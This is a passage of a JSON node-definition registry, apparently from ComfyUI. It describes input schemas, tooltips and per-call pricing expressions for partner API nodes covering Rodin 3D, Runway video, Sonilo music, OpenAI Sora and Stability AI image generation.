only).", "default": false}], "creative": ["BOOLEAN", {"tooltip": "Creative mode. Enhances generative robustness.", "default": false}]}}}]}], "material": ["COMBO", {"default": "Shaded", "multiselect": false, "options": ["PBR", "Shaded", "All", "None"]}], "geometry_file_format": ["COMBO", {"default": "glb", "multiselect": false, "options": ["glb", "fbx", "obj", "stl"]}]}, "optional": {"texture_mode": ["COMBO", {"tooltip": "Texture quality preset. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "legacy", "extreme-low", "low", "medium", "high"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 65535, "control_after_generate": true, "display": "number"}], "TAPose": ["BOOLEAN", {"tooltip": "T/A pose for human-like models.", "advanced": true, "default": false}], "hd_texture": ["BOOLEAN", {"tooltip": "High-quality texture enhancement.", "advanced": true, "default": false}], "texture_delight": ["BOOLEAN", {"tooltip": "Remove baked lighting from textures.", "advanced": true, "default": false}], "use_original_alpha": ["BOOLEAN", {"tooltip": "Preserve image transparency.", "advanced": true, "default": false}], "addon_highpack": ["BOOLEAN", {"tooltip": "HighPack addon: 4K textures and ~16x faces in Quad mode.", "advanced": true, "default": false}], "bbox_width": ["INT", {"tooltip": "Bounding-box width (Y axis). Set to 0 with the others to skip bbox.", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_height": ["INT", {"tooltip": "Bounding-box height (Z axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_length": ["INT", {"tooltip": "Bounding-box length (X axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "height_cm": ["INT", {"tooltip": "Approximate model height in centimeters (0 to skip).", "advanced": true, "default": 0, "min": 0, "max": 10000, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["images", "mode", "material", "geometry_file_format"], "optional": ["texture_mode", "seed", "TAPose", "hd_texture", "texture_delight", "use_original_alpha", "addon_highpack", "bbox_width", "bbox_height", "bbox_length", "height_cm"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D"], "output_is_list": [false], "output_name": ["model_file"], "output_tooltips": [null], "output_matchtypes": null, "name": "Rodin3D_Gen25_Image", "display_name": "Rodin 3D Gen-2.5 - Image to 3D", "description": "Generate a 3D model from 1-5 reference images via Rodin Gen-2.5. Pick a mode (Fast / Regular / Extreme-High) to tune quality vs. cost.", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "addon_highpack", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n(\n $baseCredits := widgets.mode = \"extreme-high\" ? 1.0 : 0.5;\n $addonCredits := widgets.addon_highpack ? 1.0 : 0.0;\n $total := ($baseCredits * 1.5) + ($addonCredits * 0.8);\n {\"type\":\"usd\",\"usd\": $total}\n)\n"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Rodin3D_Gen25_Text": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the 3D model.", "default": "", "multiline": true}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generation mode. Regular = balanced. Fast = 1K-20K faces for rapid prototyping. Extreme-High = 20K-2M faces with optional micro details.", "options": [{"key": "Regular", "inputs": {"required": {"tier": ["COMBO", {"tooltip": "Quality tier. Higher tiers produce higher-fidelity geometry.", "default": "Gen-2.5-High", "multiselect": false, "options": ["Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "polygon_count": ["COMBO", {"tooltip": "Preset face count. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "4K-Quad", "8K-Quad", "18K-Quad", "50K-Quad", "2K-Triangle", "20K-Triangle", "150K-Triangle", "500K-Triangle", "1M-Triangle"]}], "creative": ["BOOLEAN", {"tooltip": "Creative mode (Medium/High only). Enhances generative robustness.", "default": false}]}}}, {"key": "Fast", "inputs": {"required": {"tier": ["COMBO", {"default": "Gen-2.5-Low", "multiselect": false, "options": ["Gen-2.5-Extreme-Low", "Gen-2.5-Low", "Gen-2.5-Medium", "Gen-2.5-High"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count (1K-20K in Fast mode).", "default": 20000, "min": 1000, "max": 20000, "display": "number"}]}}}, {"key": "Extreme-High", "inputs": {"required": {"mesh_mode": ["COMBO", {"default": "Raw", "multiselect": false, "options": ["Raw", "Quad"]}], "mesh_faces": ["INT", {"tooltip": "Mesh face count. Raw mode: 20K-2M. Quad mode: keep under 200K (upstream may reject higher values).", "default": 1000000, "min": 20000, "max": 2000000, "display": "number"}], "is_micro": ["BOOLEAN", {"tooltip": "Enable micro detail (Extreme-High only).", "default": false}], "creative": ["BOOLEAN", {"tooltip": "Creative mode. Enhances generative robustness.", "default": false}]}}}]}], "material": ["COMBO", {"default": "Shaded", "multiselect": false, "options": ["PBR", "Shaded", "All", "None"]}], "geometry_file_format": ["COMBO", {"default": "glb", "multiselect": false, "options": ["glb", "fbx", "obj", "stl"]}]}, "optional": {"texture_mode": ["COMBO", {"tooltip": "Texture quality preset. 'Default' uses the server's default for the selected tier.", "default": "Default", "multiselect": false, "options": ["Default", "legacy", "extreme-low", "low", "medium", "high"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 65535, "control_after_generate": true, "display": "number"}], "TAPose": ["BOOLEAN", {"tooltip": "T/A pose for human-like models.", "advanced": true, "default": false}], "hd_texture": ["BOOLEAN", {"tooltip": "High-quality texture enhancement.", "advanced": true, "default": false}], "texture_delight": ["BOOLEAN", {"tooltip": "Remove baked lighting from textures.", "advanced": true, "default": false}], "addon_highpack": ["BOOLEAN", {"tooltip": "HighPack addon: 4K textures and ~16x faces in Quad mode.", "advanced": true, "default": false}], "bbox_width": ["INT", {"tooltip": "Bounding-box width (Y axis). Set to 0 with the others to skip bbox.", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_height": ["INT", {"tooltip": "Bounding-box height (Z axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "bbox_length": ["INT", {"tooltip": "Bounding-box length (X axis).", "advanced": true, "default": 0, "min": 0, "max": 300, "display": "number"}], "height_cm": ["INT", {"tooltip": "Approximate model height in centimeters (0 to skip).", "advanced": true, "default": 0, "min": 0, "max": 10000, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "mode", "material", "geometry_file_format"], "optional": ["texture_mode", "seed", "TAPose", "hd_texture", "texture_delight", "addon_highpack", "bbox_width", "bbox_height", "bbox_length", "height_cm"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D"], "output_is_list": [false], "output_name": ["model_file"], "output_tooltips": [null], "output_matchtypes": null, "name": "Rodin3D_Gen25_Text", "display_name": "Rodin 3D Gen-2.5 - Text to 3D", "description": "Generate a 3D model from a text prompt via Rodin Gen-2.5. Pick a mode (Fast / Regular / Extreme-High) to tune quality vs. cost.", "python_module": "comfy_api_nodes.nodes_rodin", "category": "partner/3d/Rodin", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "addon_highpack", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n(\n $baseCredits := widgets.mode = \"extreme-high\" ? 1.0 : 0.5;\n $addonCredits := widgets.addon_highpack ? 1.0 : 0.0;\n $total := ($baseCredits * 1.5) + ($addonCredits * 0.8);\n {\"type\":\"usd\",\"usd\": $total}\n)\n"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayFirstLastFrameNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "start_frame": ["IMAGE", {"tooltip": "Start frame to be used for the video"}], "end_frame": ["IMAGE", {"tooltip": "End frame to be used for the video. Supported for gen3a_turbo only."}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "ratio": ["COMBO", {"multiselect": false, "options": ["768:1280", "1280:768"]}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "start_frame", "end_frame", "duration", "ratio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayFirstLastFrameNode", "display_name": "Runway First-Last-Frame to Video", "description": "Upload first and last keyframes, draft a prompt, and generate a video. More complex transitions, such as cases where the Last frame is completely different from the First frame, may benefit from the longer 10s duration. This would give the generation more time to smoothly transition between the two inputs. Before diving in, review these best practices to ensure that your input selections will set your generation up for success: https://help.runwayml.com/hc/en-us/articles/34170748696595-Creating-with-Keyframes-on-Gen-3.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0715 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayImageToVideoNodeGen3a": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "start_frame": ["IMAGE", {"tooltip": "Start frame to be used for the video"}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "ratio": ["COMBO", {"multiselect": false, "options": ["768:1280", "1280:768"]}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "start_frame", "duration", "ratio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayImageToVideoNodeGen3a", "display_name": "Runway Image to Video (Gen3a Turbo)", "description": "Generate a video from a single starting frame using Gen3a Turbo model. Before diving in, review these best practices to ensure that your input selections will set your generation up for success: https://help.runwayml.com/hc/en-us/articles/33927968552339-Creating-with-Act-One-on-Gen-3-Alpha-and-Turbo.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0715 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayImageToVideoNodeGen4": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "start_frame": ["IMAGE", {"tooltip": "Start frame to be used for the video"}], "duration": ["COMBO", {"multiselect": false, "options": [5, 10]}], "ratio": ["COMBO", {"multiselect": false, "options": ["1280:720", "720:1280", "1104:832", "832:1104", "960:960", "1584:672"]}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "start_frame", "duration", "ratio", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayImageToVideoNodeGen4", "display_name": "Runway Image to Video (Gen4 Turbo)", "description": "Generate a video from a single starting frame using Gen4 Turbo model. Before diving in, review these best practices to ensure that your input selections will set your generation up for success: https://help.runwayml.com/hc/en-us/articles/37327109429011-Creating-with-Gen-4-Video.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0715 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayTextToImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the generation", "default": "", "multiline": true}], "ratio": ["COMBO", {"multiselect": false, "options": ["1920:1080", "1080:1920", "1024:1024", "1360:768", "1080:1080", "1168:880", "1440:1080", "1080:1440", "1808:768", "2112:912"]}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Optional reference image to guide the generation"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "ratio"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayTextToImageNode", "display_name": "Runway Text to Image", "description": "Generate an image from a text prompt using Runway's Gen 4 model. You can also include reference image to guide the generation.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/image/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.11}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayAleph2VideoToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Describes what should appear in the output (1-1000 characters).", "default": "", "multiline": true}], "video": ["VIDEO", {"tooltip": "Input video to edit. Must be 2-30 seconds at 30 fps or lower."}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "public_figure_threshold": ["COMBO", {"tooltip": "Content moderation for recognizable public figures.", "default": "low", "multiselect": false, "options": ["auto", "low"]}]}, "optional": {"keyframes": ["RUNWAY_ALEPH2_KEYFRAME", {"tooltip": "Guidance images anchored to the input video, from Aleph2 Keyframe nodes (up to 5). Use keyframes or prompt images, not both."}], "prompt_images": ["RUNWAY_ALEPH2_PROMPT_IMAGE", {"tooltip": "Guidance images anchored to the output video, from Aleph2 Prompt Image nodes (up to 5). Use keyframes or prompt images, not both."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "video", "seed", "public_figure_threshold"], "optional": ["keyframes", "prompt_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayAleph2VideoToVideoNode", "display_name": "Runway Aleph2 Video to Video", "description": "Edit a video with a text prompt using Runway's Aleph2 model. Aleph2 transforms your footage (restyle, relight, add or remove elements, change the viewpoint) while keeping the original motion and timing; the output resolution matches the input video, which must be 2-30 seconds at 30 fps or lower. Optionally steer the edit with either keyframes (anchored to the input video) or prompt images (anchored to the output video) - use one or the other, not both.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.4004, \"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayAleph2KeyframeNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The guidance image to apply at the chosen moment of the input video."}], "timing": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to place this image on the input video's timeline.", "options": [{"key": "Absolute time (seconds)", "inputs": {"required": {"seconds": ["FLOAT", {"tooltip": "Time in seconds from start of the input video where this image applies.", "default": 0.0, "min": 0.0, "max": 30.0, "step": 0.1, "display": "number"}]}}}, {"key": "Fraction of duration (0.0-1.0)", "inputs": {"required": {"fraction": ["FLOAT", {"tooltip": "Where in the input video this image applies, as a fraction of its duration (0.0 = start, 1.0 = end).", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}]}}}]}]}, "optional": {"keyframes": ["RUNWAY_ALEPH2_KEYFRAME", {"tooltip": "Optional earlier keyframes to chain with this one."}]}}, "input_order": {"required": ["image", "timing"], "optional": ["keyframes"]}, "is_input_list": false, "output": ["RUNWAY_ALEPH2_KEYFRAME"], "output_is_list": [false], "output_name": ["keyframes"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayAleph2KeyframeNode", "display_name": "Runway Aleph2 Keyframe", "description": "Anchor a guidance image to a moment of the input (source) video, so Aleph2 steers the edit at that point of your footage. Connect this to the 'keyframes' input of the Runway Aleph2 Video to Video node; chain several together (up to 5) via the optional 'keyframes' input below.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayAleph2PromptImageNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The guidance image to place at the chosen moment of the output video."}], "position": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to place this image on the output video's timeline.", "options": [{"key": "Absolute time (seconds)", "inputs": {"required": {"seconds": ["FLOAT", {"tooltip": "Time in seconds from start of the output video where this image applies.", "default": 0.0, "min": 0.0, "max": 30.0, "step": 0.1, "display": "number"}]}}}, {"key": "Fraction of duration (0.0-1.0)", "inputs": {"required": {"fraction": ["FLOAT", {"tooltip": "Where in the output video this image applies, as a fraction of its duration (0.0 = start, 1.0 = end).", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}]}}}]}]}, "optional": {"prompt_images": ["RUNWAY_ALEPH2_PROMPT_IMAGE", {"tooltip": "Optional earlier prompt images to chain with this one."}]}}, "input_order": {"required": ["image", "position"], "optional": ["prompt_images"]}, "is_input_list": false, "output": ["RUNWAY_ALEPH2_PROMPT_IMAGE"], "output_is_list": [false], "output_name": ["prompt_images"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayAleph2PromptImageNode", "display_name": "Runway Aleph2 Prompt Image", "description": "Anchor a guidance image to a moment of the output (result) video, to guide what the edited video looks like at that point. Connect this to the 'prompt_images' input of the Runway Aleph2 Video to Video node; chain several together (up to 5) via the optional 'prompt_images' input below.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SoniloVideoToMusic": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Input video to generate music from. Maximum duration: 6 minutes."}], "prompt": ["STRING", {"tooltip": "Optional text prompt to guide music generation. Leave empty for best quality - the model will fully analyze the video content.", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "Seed for reproducibility. Currently ignored by the Sonilo service but kept for graph consistency.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "SoniloVideoToMusic", "display_name": "Sonilo Video to Music", "description": "Generate music from video content using Sonilo's AI model. Analyzes the video and creates matching music.", "python_module": "comfy_api_nodes.nodes_sonilo", "category": "partner/audio/Sonilo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.009,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SoniloTextToMusic": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the music to generate.", "default": "", "multiline": true}], "duration": ["INT", {"tooltip": "Target duration in seconds. Maximum: 6 minutes.", "default": 30, "min": 1, "max": 360}], "seed": ["INT", {"tooltip": "Seed for reproducibility. Currently ignored by the Sonilo service but kept for graph consistency.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "duration", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "SoniloTextToMusic", "display_name": "Sonilo Text to Music", "description": "Generate music from a text prompt using Sonilo's AI model.", "python_module": "comfy_api_nodes.nodes_sonilo", "category": "partner/audio/Sonilo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0025 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIVideoSora2": {"input": {"required": {"model": ["COMBO", {"default": "sora-2", "multiselect": false, "options": ["sora-2", "sora-2-pro"]}], "prompt": ["STRING", {"tooltip": "Guiding text; may be empty if an input image is present.", "default": "", "multiline": true}], "size": ["COMBO", {"default": "1280x720", "multiselect": false, "options": ["720x1280", "1280x720", "1024x1792", "1792x1024"]}], "duration": ["COMBO", {"default": 8, "multiselect": false, "options": [4, 8, 12]}]}, "optional": {"image": ["IMAGE", {}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "size", "duration"], "optional": ["image", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIVideoSora2", "display_name": "OpenAI Sora - Video (DEPRECATED)", "description": "OpenAI video and audio generation.\n\nDEPRECATION NOTICE: OpenAI will stop serving the Sora v2 API in September 2026. This node will be removed from ComfyUI at that time.", "python_module": "comfy_api_nodes.nodes_sora", "category": "partner/video/Sora", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "size", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $size := widgets.size;\n $dur := widgets.duration;\n $isPro := $contains($m, \"sora-2-pro\");\n $isSora2 := $contains($m, \"sora-2\");\n $isProSize := ($size = \"1024x1792\" or $size = \"1792x1024\");\n $perSec :=\n $isPro ? ($isProSize ? 0.5 : 0.3) :\n $isSora2 ? 0.1 :\n ($isProSize ? 0.5 : 0.1);\n {\"type\":\"usd\",\"usd\": $round($perSec * $dur, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityStableImageUltraNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defineselements, colors, and subjects will lead to better results. To control the weight of a given word use the format `(word:weight)`,where `word` is the word you'd like to control the weight of and `weight`is a value between 0 and 1. For example: `The sky was a crisp (blue:0.3) and (green:0.8)`would convey a sky that was blue and green, but more green than blue.", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of generated image.", "default": "1:1", "multiselect": false, "options": ["1:1", "16:9", "9:16", "3:2", "2:3", "5:4", "4:5", "21:9", "9:21"]}], "style_preset": ["COMBO", {"tooltip": "Optional desired style of generated image.", "advanced": true, "multiselect": false, "options": ["None", "3d-model", "analog-film", "anime", "cinematic", "comic-book", "digital-art", "enhance", "fantasy-art", "isometric", "line-art", "low-poly", "modeling-compound", "neon-punk", "origami", "photographic", "pixel-art", "tile-texture"]}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"image": ["IMAGE", {}], "negative_prompt": ["STRING", {"tooltip": "A blurb of text describing what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}], "image_denoise": ["FLOAT", {"tooltip": "Denoise of input image; 0.0 yields image identical to input, 1.0 is as if no image was provided at all.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "style_preset", "seed"], "optional": ["image", "negative_prompt", "image_denoise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityStableImageUltraNode", "display_name": "Stability AI Stable Image Ultra", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.08}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityStableImageSD_3_5Node": {"input": {"required": {"prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defines elements, colors, and subjects will lead to better results.", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["sd3.5-large", "sd3.5-medium"]}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of generated image.", "default": "1:1", "multiselect": false, "options": ["1:1", "16:9", "9:16", "3:2", "2:3", "5:4", "4:5", "21:9", "9:21"]}], "style_preset": ["COMBO", {"tooltip": "Optional desired style of generated image.", "advanced": true, "multiselect": false, "options": ["None", "3d-model", "analog-film", "anime", "cinematic", "comic-book", "digital-art", "enhance", "fantasy-art", "isometric", "line-art", "low-poly", "modeling-compound", "neon-punk", "origami", "photographic", "pixel-art", "tile-texture"]}], "cfg_scale": ["FLOAT", {"tooltip": "How strictly the diffusion process adheres to the prompt text (higher values keep your image closer to your prompt)", "default": 4.0, "min": 1.0, "max": 10.0, "step": 0.1}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 